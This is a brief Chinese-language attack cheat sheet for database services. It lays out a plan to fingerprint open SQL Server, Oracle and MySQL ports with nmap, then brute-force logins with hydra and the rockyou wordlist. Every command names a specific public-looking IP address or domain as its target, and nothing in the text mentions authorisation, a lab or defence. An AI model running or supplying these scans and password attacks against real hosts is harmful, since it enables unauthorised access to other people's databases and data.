如果数据库端口对我们开放，先进行指纹识别，如果版本比较低有漏洞，那么就走漏洞利用，如果没有漏洞，那么就走暴力破解

1、sql server 指纹识别

nmap -Pn -sV 47.98.47.58 -p  1433

2、sql server 暴力破解

hydra -l admin -P /usr/share/wordlists/rockyou.txt mssql://47.98.47.58

3、oracle 指纹识别

nmap -Pn -sV 120.24.5.197 -p 1521

4、oracle 暴力破解

hydra -P /usr/share/wordlists/rockyou.txt oracle-listener://120.24.5.197

5、mysql 指纹识别

nmap -Pn -sV webmail.rusc60.club -p 3306

6、mysql 暴力破解

hydra -l admin -P /usr/share/wordlists/rockyou.txt mysql://webmail.rusc60.club -t 1